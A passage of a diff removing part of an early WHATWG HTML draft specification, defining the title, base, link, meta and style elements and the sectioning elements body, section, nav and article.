-   stand alone when taken out of context.
-
-  <div class=example>
-   <p>Here are some examples of appropriate titles, contrasted with the
-    top-level headers that might be used on those same pages.</p>
-
-   <pre>  AMPERSANDlt;title>Introduction to The Mating Rituals of BeesAMPERSANDlt;/title>
-    ...
-  AMPERSANDlt;h1>IntroductionAMPERSANDlt;/h1>
-  AMPERSANDlt;p>This companion guide to the highly successful
-  AMPERSANDlt;cite>Introduction to Medieval Bee-KeepingAMPERSANDlt;/cite> book is...
-</pre>
-
-   <p>The next page might be a part of the same site. Note how the title
-    describes the subject matter unambiguously, while the first header
-    assumes the reader knowns what the context is and therefore won't wonder
-    if the dances are Salsa or Waltz:</p>
-
-   <pre>  AMPERSANDlt;title>Dances used during bee mating ritualsAMPERSANDlt;/title>
-    ...
-  AMPERSANDlt;h1>The DancesAMPERSANDlt;/h1></pre>
-  </div>
-
-  <p>The <code><a href="#title3">title</a></code> element must not contain
-   any elements.
-
-  <p>The string to use as the document's title is given by the <code
-   title=dom-document-title><a
-   href="#document.title">document.title</a></code> DOM attribute. User
-   agents should use the document's title when referring to the document in
-   their user interface.
-
-  <h4 id=the-base><span class=secno>3.7.3. </span>The <dfn
-   id=base0><code>base</code></dfn> element</h4>
-
-  <p><a href="#metadata" title="metadata elements">Metadata element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>In a <code><a href="#head0">head</a></code> element, before any
-    elements that use relative URIs, and only if there are no other <code><a
-    href="#base0">base</a></code> elements anywhere in the document. Only in
-    <a href="#html-">HTML documents</a> (never in <a
-    href="#xml-documents">XML documents</a>).
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-base-href><a href="#href">href</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlbaseelement>HTMLBaseElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#href0" title=dom-base-href>href</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#base0">base</a></code> element allows authors to
-   specify the document's base URI for the purposes of resolving relative
-   URIs.
-
-  <p>The <dfn id=href title=attr-base-href><code>href</code></dfn> content
-   attribute, if specified, must contain a URI (or IRI).
-
-  <p>User agents must use the value of the <code
-   title=att-base-href>href</code> attribute on the first <code><a
-   href="#base0">base</a></code> element in the document as the document
-   entity's base URI for the purposes of section 5.1.1 of RFC 2396
-   ("Establishing a Base URI": "Base URI within Document Content"). <a
-   href="#refsRFC2396">[RFC2396]</a> Note that this base URI from RFC 2396 is
-   referred to by the algorithm given in XML Base, which <a
-   href="#xmlBase">is a normative part of this specification</a>.
-
-  <p>If the base URI given by this attribute is a relative URI, it must be
-   resolved relative to the higher-level base URIs (i.e. the base URI from
-   the encapsulating entity or the URI used to retrieve the entity) to obtain
-   an absolute base URI.
-
-  <p>The <code title=attr-base-href><a href="#href">href</a></code> content
-   attribute must be reflected by the DOM <dfn id=href0
-   title=dom-base-href><code>href</code></dfn> attribute.
-
-  <p>Authors must not use the <code><a href="#base0">base</a></code> element
-   in <a href="#xml-documents">XML documents</a>. Authors should instead use
-   the <code>xml:base</code> attribute. <a href="#refsXMLBASE">[XMLBASE]</a>
-
-  <h4 id=the-link><span class=secno>3.7.4. </span>The <dfn
-   id=link0><code>link</code></dfn> element</h4>
-
-  <p><a href="#metadata" title="metadata elements">Metadata element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>In a <code><a href="#head0">head</a></code> element.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-link-href><a href="#href1">href</a></code> (required)
-
-   <dd><code title=attr-link-rel><a href="#rel">rel</a></code> (required)
-
-   <dd><code title=attr-link-media><a href="#media">media</a></code>
-
-   <dd><code title=attr-link-hreflang><a href="#hreflang">hreflang</a></code>
-
-   <dd><code title=attr-link-type><a href="#type">type</a></code>
-
-   <dd>Also, the <code title=attr-link-title><a
-    href="#title4">title</a></code> attribute has special semantics on this
-    element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmllinkelement>HTMLLinkElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute boolean <a href="#disabled" title=dom-link-disabled>disabled</a>;
-           attribute DOMString <a href="#href2" title=dom-link-href>href</a>;
-           attribute DOMString <a href="#rel0" title=dom-link-rel>rel</a>;
-           attribute DOMString <a href="#media0" title=dom-link-media>media</a>;
-           attribute DOMString <a href="#hreflang0" title=dom-link-hreflang>hreflang</a>;
-           attribute DOMString <a href="#type0" title=dom-link-type>type</a>;
-};</pre>
-
-    <p>The <a
-     href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-LinkStyle"><code>LinkStyle</code></a>
-     interface defined in DOM2 Style must also be implemented by this
-     element. <a href="#refsDOM2STYLE">[DOM2STYLE]</a></p>
-  </dl>
-
-  <p>The <code><a href="#link0">link</a></code> element allows authors to
-   indicate explicit relationships between their document and other
-   resources.
-
-  <p>The destination of the link is given by the <dfn id=href1
-   title=attr-link-href><code>href</code></dfn> attribute, which must be
-   present and must contain a URI (or IRI). If the <code
-   title=attr-link-href><a href="#href1">href</a></code> attribute is absent,
-   then the element does not define a link.
-
-  <p>The type of link indicated (the relationship) is given by the value of
-   the <dfn id=rel title=attr-link-rel><code>rel</code></dfn> attribute,
-   which must be present. The <a href="#linkTypes">allowed values and their
-   meanings</a> are defined in a later section. If the <code
-   title=attr-link-rel><a href="#rel">rel</a></code> attribute is absent, or
-   if the value used is not allowed according to the definitions in this
-   specification, then the element does not define a link.
-
-  <p>Two categories of links can be created using the <code><a
-   href="#link0">link</a></code> element. <dfn id=links1 title="external
-   resource link">Links to external resources</dfn> are links to resources
-   that are to be used to augment the current document, and <dfn
-   id=hyperlink0 title="hyperlink link">hyperlink links</dfn> are <a
-   href="#hyperlinks" title=hyperlink>links to other documents</a>. The <a
-   href="#linkTypes">link types section</a> defines whether a particular link
-   type is an external resource or a hyperlink. One element can create
-   multiple links (of which some might be external resource links and some
-   might be hyperlinks). User agents should process the links on a per-link
-   basis, not a per-element basis.
-
-  <p>The exact behaviour for links to external resources depends on the exact
-   relationship, as defined for the relevant link type. Some of the
-   attributes control whether or not the external resource is to be applied
-   (as defined below). For external resources that are represented in the DOM
-   (for example, style sheets), the DOM representation must be made available
-   even if the resource is not applied. (However, user agents may opt to only
-   fetch such resources when they are needed, instead of pro-actively
-   downloading all the external resources that are not applied.)
-
-  <p>Interactive user agents should provide users with a means to <a
-   href="#following1" title="following hyperlinks">follow the hyperlinks</a>
-   created using the <code><a href="#link0">link</a></code> element,
-   somewhere within their user interface. The exact interface is not defined
-   by this specification, but it should include the following information
-   (obtained from the element's attributes, again as defined below), in some
-   form or another (possibly simplified), for each hyperlink created with
-   each <code><a href="#link0">link</a></code> element in the document:
-
-  <ul><!-- the order here is the order that makes most sense for a UI -->
-
-   <li>The relationship between this document and the resource (given by the
-    <code title=attr-link-rel><a href="#rel">rel</a></code> attribute)
-
-   <li>The title of the resource (given by the <code title=attr-link-title><a
-    href="#title4">title</a></code> attribute).
-
-   <li>The URI of the resource (given by the <code title=attr-link-href><a
-    href="#href1">href</a></code> attribute).
-
-   <li>The language of the resource (given by the <code
-    title=attr-link-hreflang><a href="#hreflang">hreflang</a></code>
-    attribute).
-
-   <li>The optimum media for the resource (given by the <code
-    title=attr-link-media><a href="#media">media</a></code> attribute).
-  </ul>
-
-  <p>User agents may also include other information, such as the type of the
-   resource (as given by the <code title=attr-link-type><a
-   href="#type">type</a></code> attribute).
-
-  <p>The <dfn id=media title=attr-link-media><code>media</code></dfn>
-   attribute says which media the resource applies to. The value must be a
-   valid media query. <a href="#refsMQ">[MQ]</a>
-
-  <p>If the link is a <a href="#hyperlink0" title="hyperlink
-   link">hyperlink</a> then the <code title=attr-link-media><a
-   href="#media">media</a></code> attribute is purely advisory, and describes
-   for which media the document in question was designed.
-
-  <p>However, if the link is an <a href="#links1">external resource link</a>,
-   then the <code title=attr-link-media><a href="#media">media</a></code>
-   attribute is prescriptive. The user agent must only apply the external
-   resource to <span>views</span><!-- XXX xref --> while their state match
-   the listed media.
-
-  <p id=default-media>The default, if the <code title=attr-link-media><a
-   href="#media">media</a></code> attribute is omitted, is <code>all</code>,
-   meaning that by default links apply to all media.
-
-  <p>The <dfn id=hreflang
-   title=attr-link-hreflang><code>hreflang</code></dfn> attribute on the
-   <code><a href="#link0">link</a></code> element has the same semantics as
-   the <a href="#hreflang3"
-   title=attr-hyperlink-hreflang><code>hreflang</code> attribute on hyperlink
-   elements</a>.</p>
-  <!-- XXX type attribute parsing and semantics should be factored out
-  as much as possible into a microsyntax -->
-
-  <p>The <dfn id=type title=attr-link-type><code>type</code></dfn> attribute
-   gives the MIME type of the linked resource. It is purely advisory. The
-   value must be a valid MIME type, optionally with parameters. <a
-   href="#refsRFC2046">[RFC2046]</a>
-
-  <p>For <a href="#links1" title="external resource link">external resource
-   links</a>, user agents may use the type given in this attribute to decide
-   whether or not to consider using the resource at all. If the UA does not
-   support the given MIME type for the given link relationship, then the UA
-   may opt not to download and apply the resource.
-
-  <p>User agents must not consider the <code title=attr-link-type><a
-   href="#type">type</a></code> attribute authoritative AMPERSANDmdash; upon fetching
-   the resource, user agents must only use the <a href="#content-type1"
-   title=Content-Type>Content-Type information associated with the
-   resource</a> to determine its type, not metadata included in the link to
-   the resource.
-
-  <p>If the attribute is omitted, then the UA must fetch the resource to
-   determine its type and thus determine if it supports (and can apply) that
-   external resource.
-
-  <div class=example>
-   <p>If a document contains three style sheet links labelled as follows:</p>
-
-   <pre>AMPERSANDlt;link rel="stylesheet" href="A" type="text/css"AMPERSANDgt;
-AMPERSANDlt;link rel="stylesheet" href="B" type="text/plain"AMPERSANDgt;
-AMPERSANDlt;link rel="stylesheet" href="C"AMPERSANDgt;</pre>
-
-   <p>...then a compliant UA that supported only CSS style sheets would fetch
-    the A and C files, and skip the B file (since <code>text/plain</code> is
-    not the MIME type for CSS style sheets). For these two files, it would
-    then check the actual types returned by the UA. For those that are sent
-    as <code>text/css</code>, it would apply the styles, but for those
-    labelled as <code>text/plain</code>, or any other type, it would not.</p>
-  </div>
-  <!--(to be deleted) (charset dropped)
-  <p>The <dfn title="attr-link-charset"><code>charset</code></dfn>
-  attribute gives the character encoding of the linked resource. It is
-  purely advisory. The value must be a valid character encoding name.
-  <a href="#refsIANACHARSET">[IANACHARSET]</a></p>
-
-  <p>For <span title="external resource link">external resource
-  links</span>, user agents may use the character encoding given in
-  this attribute to decide whether or not to consider using the
-  resource at all. If the UA does not support the given encoding for
-  the given link relationship, then the UA may opt not to download and
-  apply the resource.</p>
-
-  <p>However, once the resource has been fetched, user agents must
-  follow the rules for that resource type when determining the actual
-  character encoding.</p>
--->
-
-  <p>The <dfn id=title4 title=attr-link-title><code>title</code></dfn>
-   attribute gives the title of the link. With one exception, it is purely
-   advisory. The value is text. The exception is for style sheet links, where
-   the <code title=attr-link-title><a href="#title4">title</a></code>
-   attribute defines <a href="#stylesheetTitle">alternate style sheet
-   sets</a>.</p>
-  <!-- XXX xref -->
-
-  <p class=note>The <code title=attr-link-title><a
-   href="#title4">title</a></code> attribute on <code><a
-   href="#link0">link</a></code> elements differs from the global <code
-   title=attr-title><a href="#title1">title</a></code> attribute of most
-   other elements in that a link without a title does not inherit the title
-   of the parent element: it merely has no title.
-
-  <p>Some versions of HTTP defined a <code title="">Link:</code> header, to
-   be processed like a series of <code><a href="#link0">link</a></code>
-   elements. When processing links, those must be taken into consideration as
-   well. For the purposes of ordering, links defined by HTTP headers must be
-   assumed to come before any links in the document, in the order that they
-   were given in the HTTP entity header. Relative URIs in these headers must
-   be resolved according to the rules given in HTTP, not relative to base
-   URIs set by the document (e.g. using a <code><a
-   href="#base0">base</a></code> element or <code>xml:base</code>
-   attributes). <a href="#refsRFC2616">[RFC2616]</a> <a
-   href="#refsRFC2068">[RFC2068]</a>
-
-  <p>The DOM attributes <dfn id=href2
-   title=dom-link-href><code>href</code></dfn>, <dfn id=rel0
-   title=dom-link-rel><code>rel</code></dfn>, <dfn id=media0
-   title=dom-link-media><code>media</code></dfn>, <dfn id=hreflang0
-   title=dom-link-hreflang><code>hreflang</code></dfn>, and <dfn id=type0
-   title=dom-link-type><code>type</code></dfn> each must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <p>The DOM attribute <dfn id=disabled
-   title=dom-link-disabled><code>disabled</code></dfn> only applies to style
-   sheet links. When the <code><a href="#link0">link</a></code> element
-   defines a style sheet link, then the <code title=dom-link-disabled><a
-   href="#disabled">disabled</a></code> attribute behaves as defined <a
-   href="#stylesheetDisabled">for the alternate style sheets DOM</a>. For all
-   other <code><a href="#link0">link</a></code> elements it must always
-   return false and must do nothing on setting.</p>
-  <!-- XXX xref -->
-
-  <h4 id=meta><span class=secno>3.7.5. </span>The <dfn
-   id=meta1><code>meta</code></dfn> element</h4>
-
-  <p><a href="#metadata" title="metadata elements">Metadata element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>In a <code><a href="#head0">head</a></code> element.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-meta-name><a href="#name">name</a></code>
-
-   <dd><code title=attr-meta-http-equiv><a
-    href="#http-equiv">http-equiv</a></code> (HTML only, optional)
-
-   <dd><code title=attr-meta-content><a href="#content0">content</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlmetaelement>HTMLMetaElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#content1" title=dom-meta-content>content</a>;
-           attribute DOMString <a href="#name0" title=dom-meta-name>name</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#meta1">meta</a></code> element allows authors to
-   specify document metadata that cannot be expressed using the <code><a
-   href="#title3">title</a></code>, <code><a href="#base0">base</a></code>,
-   <code><a href="#link0">link</a></code>, <code><a
-   href="#style0">style</a></code>, and <code><a
-   href="#script2">script</a></code> elements. The metadata is expressed in
-   terms of name/value pairs: the <dfn id=name
-   title=attr-meta-name><code>name</code></dfn> attribute on the <code><a
-   href="#meta1">meta</a></code> element gives the name, and the <dfn
-   id=content0 title=attr-meta-content><code>content</code></dfn> attribute
-   on the same element gives the value.
-
-  <p>If a <code><a href="#meta1">meta</a></code> element has no <code
-   title=attr-meta-name><a href="#name">name</a></code> attribute, it does
-   not set document metadata. If a <code><a href="#meta1">meta</a></code>
-   element has no <code title=attr-meta-content><a
-   href="#content0">content</a></code> attribute, then the value part of the
-   metadata name/value pair is the empty string.
-
-  <p>The value must not be a URI. Links must be represented using the
-   <code><a href="#link0">link</a></code> element, not the <code><a
-   href="#meta1">meta</a></code> element.
-
-  <p>The DOM attributes <dfn id=name0
-   title=dom-meta-name><code>name</code></dfn> and <dfn id=content1
-   title=dom-meta-content><code>content</code></dfn> must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <h5 id=standard><span class=secno>3.7.5.1. </span>Standard metadata names</h5>
-
-  <p>This specification defines a few names for the <code
-   title=attr-meta-name><a href="#name">name</a></code> attribute of the
-   <code><a href="#meta1">meta</a></code> element.
-
-  <dl>
-   <dt><dfn id=generator title=meta-generator>generator</dfn>
-
-   <dd>The value must be a free-form string that identifies the software used
-    to generate the document. This value must not be used on hand-authored
-    pages.
-  </dl>
-
-  <h5 id=other0><span class=secno>3.7.5.2. </span>Other metadata names</h5>
-
-  <p><dfn id=extensions0 title=concept-class-extensions>Extensions to the
-   predefined set of metadata names</dfn> may be registered in the <a
-   href="http://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki
-   MetaExtensions page</a>.
-
-  <p>Anyone is free to edit the WHATWG Wiki MetaExtensions page at any time
-   to add a type. These new names must be specified with the following
-   information:
-
-  <dl>
-   <dt>Keyword
-
-   <dd>
-    <p>The actual name being defined. The name should not be confusingly
-     similar to any other defined name (e.g. differing only in case).
-
-   <dt>Brief description
-
-   <dd>
-    <p>A short description of what the metadata name's meaning is, including
-     the format the value is required to be in.
-
-   <dt>Link to more details
-
-   <dd>A link to a more detailed description of the metadata name's semantics
-    and requirements. It could be another page on the Wiki, or a link to an
-    external page.
-
-   <dt>Synonyms
-
-   <dd>
-    <p>A list of other names that have exactly the same processing
-     requirements. Authors should not use the names defined to be synonyms,
-     they are only intended to allow user agents to support legacy content.
-
-   <dt>Status
-
-   <dd>
-    <p>One of the following:</p>
-
-    <dl>
-     <dt>Proposal
-
-     <dd>The name has not received wide peer review and approval. Someone has
-      proposed it and is using it.
-
-     <dt>Accepted
-
-     <dd>The name has received wide peer review and approval. It has a
-      specification that unambiguously defines how to handle pages that use
-      the name, including when they use it in incorrect ways.
-
-     <dt>Unendorsed
-
-     <dd>The metadata name has received wide peer review and it has been
-      found wanting. Existing pages are using this keyword, but new pages
-      should avoid it. The "brief description" and "link to more details"
-      entries will give details of what authors should use instead, if
-      anything.
-    </dl>
-
-    <p>If a metadata name is added with the "proposal" status and found to be
-     redundant with existing values, it should be removed and listed as a
-     synonym for the existing value.</p>
-  </dl>
-
-  <p>Conformance checkers must use the information given on the WHATWG Wiki
-   MetaExtensions page to establish if a value not explicitly defined in this
-   specification is allowed or not. When an author uses a new type not
-   defined by either this specification or the Wiki page, conformance
-   checkers should offer to add the value to the Wiki, with the details
-   described above, with the "proposal" status.
-
-  <p>This specification does not define how new values will get approved. It
-   is expected that the Wiki will have a community that addresses this.
-
-  <h5 id=charset><span class=secno>3.7.5.3. </span>Specifying and
-   establishing the document's character encoding</h5>
-
-  <p>The <code><a href="#meta1">meta</a></code> element may also be used, in
-   HTML only (not in XHTML) to provide UAs with character encoding
-   information for the file. To do this, the <code><a
-   href="#meta1">meta</a></code> element must be the first element in the
-   <code><a href="#head0">head</a></code> element, it must have the <dfn
-   id=http-equiv title=attr-meta-http-equiv><code>http-equiv</code></dfn>
-   attribute set to the literal value <code title="">Content-Type</code>, and
-   must have the <code title=attr-meta-content><a
-   href="#content0">content</a></code> attribute set to the literal value
-   <code>text/html; charset=</code> immediately followed by the character
-   encoding, which must be a valid character encoding name. <a
-   href="#refsIANACHARSET">[IANACHARSET]</a> <!-- XXX
-  http://www.iana.org/assignments/character-sets -->
-   When the <code><a href="#meta1">meta</a></code> element is used in this
-   way, there must be no other attributes set on the element, and the
-   <code>http-equiv</code> attribute must be listed first in the source.
-   Other than for giving the document's character encoding in this way, the
-   <code title=attr-meta-http-equiv><a
-   href="#http-equiv">http-equiv</a></code> attribute must not be used.
-
-  <p class=big-issue>We should allow those strings to be case-insensitive,
-   and for zero-or-more spaces where we currently require just one.
-
-  <p>In XHTML, the XML declaration should be used for inline character
-   encoding information, if necessary.
-
-  <p>Authors should avoid including inline character encoding information.
-   Character encoding information should instead be included at the transport
-   level (e.g. using the HTTP <code title="">Content-Type</code> header).</p>
-  <!-- XXX should we remove
-  this paragraph? Experts disagree on this. -->
-
-  <h4 id=the-style><span class=secno>3.7.6. </span>The <dfn
-   id=style0><code>style</code></dfn> element</h4>
-
-  <p><a href="#metadata" title="metadata elements">Metadata element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>In a <code><a href="#head0">head</a></code> element.
-
-   <dt>Content model:
-
-   <dd>Depends on the value of the <code title=attr-style-type><a
-    href="#type1">type</a></code> attribute.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-style-media><a href="#media1">media</a></code>
-
-   <dd><code title=attr-style-type><a href="#type1">type</a></code>
-
-   <dd>Also, the <code title=attr-style-title><a
-    href="#title5">title</a></code> attribute has special semantics on this
-    element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlstyleelement>HTMLStyleElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute boolean <code title=dom-style-disabled><a href="#disabled0">disabled</a></code>;
-           attribute DOMString <code title=dom-style-media><a href="#media2">media</a></code>;
-           attribute DOMString <code title=dom-style-type><a href="#type2">type</a></code>;
-};</pre>
-
-    <p>The <a
-     href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-LinkStyle"><code>LinkStyle</code></a>
-     interface defined in DOM2 Style must also be implemented by this
-     element. <a href="#refsDOM2STYLE">[DOM2STYLE]</a></p>
-  </dl>
-
-  <p>The <code><a href="#style0">style</a></code> element allows authors to
-   embed style information in their documents.</p>
-  <!-- XXX again, extract type out as a microsyntax -->
-
-  <p>If the <dfn id=type1 title=attr-style-type><code>type</code></dfn>
-   attribute is given, it must contain a MIME type, optionally with
-   parameters, that designates a styling language. <a
-   href="#refsRFC2046">[RFC2046]</a> If the attribute is absent, the type
-   defaults to <code>text/css</code>. <a href="#refsRFC2318">[RFC2138]</a>
-
-  <p>If the UA supports the given styling language, then the UA must use the
-   given styles as appropriate for that language.</p>
-  <!-- XXX this is the second time we have this paragraph here... -->
-
-  <p>When examining types to determine if they support the language, user
-   agents must not ignore unknown MIME parameters AMPERSANDmdash; types with unknown
-   parameters must be assumed to be unsupported.
-
-  <p>The <dfn id=media1 title=attr-style-media><code>media</code></dfn>
-   attribute says which media the styles apply to. The value must be a valid
-   media query. <a href="#refsMQ">[MQ]</a> User agents must only apply the
-   styles to <a href="#views">views</a> while their state match the listed
-   media.
-
-  <p id=style-default-media>The default, if the <code
-   title=attr-style-media><a href="#media1">media</a></code> attribute is
-   omitted, is <code>all</code>, meaning that by default styles apply to all
-   media.
-
-  <p id=title-on-style>The <dfn id=title5
-   title=attr-style-title><code>title</code></dfn> attribute on <code><a
-   href="#style0">style</a></code> elements <a
-   href="#stylesheetTitle">defines alternate style sheet sets</a>. If the
-   <code><a href="#style0">style</a></code> element has no <code
-   title=attr-style-title><a href="#title5">title</a></code> attribute, then
-   it has no title; the <code title=attr-title><a
-   href="#title1">title</a></code> attribute of ancestors does not apply to
-   the <code><a href="#style0">style</a></code> element.</p>
-  <!-- XXX xref -->
-
-  <p class=note>The <code title=attr-style-title><a
-   href="#title5">title</a></code> attribute on <code><a
-   href="#style0">style</a></code> elements, like the <code
-   title=attr-link-title><a href="#title4">title</a></code> attribute on
-   <code><a href="#link0">link</a></code> elements, differs from the global
-   <code title=attr-title><a href="#title1">title</a></code> attribute in
-   that a <code><a href="#style0">style</a></code> block without a title does
-   not inherit the title of the parent element: it merely has no title.
-
-  <p>All descendant elements must be processed, according to their semantics,
-   before the <code><a href="#style0">style</a></code> element itself is
-   evaluated. For styling languages that consist of pure text, user agents
-   must evaluate <code><a href="#style0">style</a></code> elements by passing
-   the concatenation of the contents of all the <a href="#text-node"
-   title="text node">text nodes</a> that are direct children of the <code><a
-   href="#style0">style</a></code> element (not any other nodes such as
-   comments or elements), in <a href="#tree-order">tree order</a>, to the
-   style system. For XML-based styling languages, user agents must pass all
-   the children nodes of the <code><a href="#style0">style</a></code> element
-   to the style system.
-
-  <p class=note>This specification does not specify a style system, but CSS
-   is expected to be supported by most Web browsers. <a
-   href="#refsCSS21">[CSS21]</a>
-
-  <p>The DOM attributes <dfn id=media2
-   title=dom-style-media><code>media</code></dfn> and <dfn id=type2
-   title=dom-style-type><code>type</code></dfn> each must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <p>The DOM <dfn id=disabled0
-   title=dom-style-disabled><code>disabled</code></dfn> attribute behaves as
-   defined <a href="#stylesheetDisabled">for the alternate style sheets
-   DOM</a>. <!-- XXX xref -->
-
-  <h3 id=sections><span class=secno>3.8. </span>Sections</h3>
-
-  <p><dfn id=sectioning>Sectioning elements</dfn> are elements that divide
-   the page into, for lack of a better word, sections. This section describes
-   HTML's sectioning elements and elements that support them.
-
-  <p id=applyToSection>Some elements are scoped to their nearest ancestor
-   sectioning element. For example, <code><a
-   href="#address0">address</a></code> elements apply just to their section.
-   For such elements <var title="">x</var>, the elements that apply to a
-   sectioning element <var title="">e</var> are all the <var title="">x</var>
-   elements whose nearest sectioning element is <var title="">e</var>.
-
-  <h4 id=the-body><span class=secno>3.8.1. </span>The <dfn
-   id=body1><code>body</code></dfn> element</h4>
-
-  <p><a href="#sectioning" title="sectioning elements">Sectioning
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the second element in an <code><a href="#html0">html</a></code>
-    element.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-search><a href="#search1">search</a></code>, <code
-    title=class-warning><a href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#body1">body</a></code> element represents the main
-   content of the document.
-
-  <p>The <code><a href="#body1">body</a></code> element potentially has a
-   heading. See the section on <a href="#headings1">headings and sections</a>
-   for further details.
-
-  <p>In conforming documents, there is only one <code><a
-   href="#body1">body</a></code> element. The <code
-   title=dom-document-body><a href="#body0">document.body</a></code> DOM
-   attribute provides scripts with easy access to a document's <code><a
-   href="#body1">body</a></code> element.
-
-  <p class=note>Some DOM operations (for example, parts of the <a
-   href="#drag-and0">drag and drop</a> model) are defined in terms of "<a
-   href="#the-body0">the body element</a>". This refers to a particular
-   element in the DOM, as per the definition of the term, and not any
-   arbitrary <code><a href="#body1">body</a></code> element.
-
-  <h4 id=the-section><span class=secno>3.8.2. </span>The <dfn
-   id=section0><code>section</code></dfn> element</h4>
-
-  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a
-   href="#block-level1" title="block-level elements">block-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-error><a href="#error0">error</a></code>, <code
-    title=class-example><a href="#example1">example</a></code>, <code
-    title=class-search><a href="#search1">search</a></code>, <code
-    title=class-warning><a href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#section0">section</a></code> element represents a
-   generic document or application section. A section, in this context, is a
-   thematic grouping of content, typically with a header, possibly with a
-   footer.
-
-  <p class=example>Examples of sections would be chapters, the various tabbed
-   pages in a tabbed dialog box, or the numbered sections of a thesis. A Web
-   site's home page could be split into sections for an introduction, news
-   items, contact information.
-
-  <p>Each <code><a href="#section0">section</a></code> element potentially
-   has a heading. See the section on <a href="#headings1">headings and
-   sections</a> for further details.
-
-  <h4 id=the-nav><span class=secno>3.8.3. </span>The <dfn
-   id=nav0><code>nav</code></dfn> element</h4>
-
-  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a
-   href="#block-level1" title="block-level elements">block-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>, or <a
-    href="#inline-level1">inline-level content</a> (but not both).
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#nav0">nav</a></code> element represents a section of
-   a page that links to other pages or to parts within the page: a section
-   with navigation links.
-
-  <p>When <a href="#determining2" title="Determining if a particular element
-   contains block-level elements or inline-level content">used as an
-   inline-level content</a> container, the element represents a <a
-   href="#paragraph">paragraph</a>.
-
-  <p>Each <code><a href="#nav0">nav</a></code> element potentially has a
-   heading. See the section on <a href="#headings1">headings and sections</a>
-   for further details.
-
-  <h4 id=the-article><span class=secno>3.8.4. </span>The <dfn
-   id=article0><code>article</code></dfn> element</h4>
-
-  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a
-   href="#block-level1" title="block-level elements">block-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.</dd>
-   <!--
-XXX attributes to give the date authored, date published
--->
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-warning><a href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#article0">article</a></code> element represents a
-   section of a page that consists of a composition that forms an independent
-   part of a document, page, or site. This could be a forum post, a magazine
-   or newspaper article, a Web log entry, a user-submitted comment, or any
-   other independent item of content.
-
-  <p class=note>An <code><a href="#article0">article</a></code> element is
-   "independent" in that its contents could stand alone, for example in
-   syndication. However, the element is still associated with its ancestors;
-   for instance, contact information that <a
-   href="#applyToSection">applies</a> to a parent <code><a
-   href="#body1">body</a></code> element still covers the <code><a
-   href="#article0">article</a></code> as well.
-
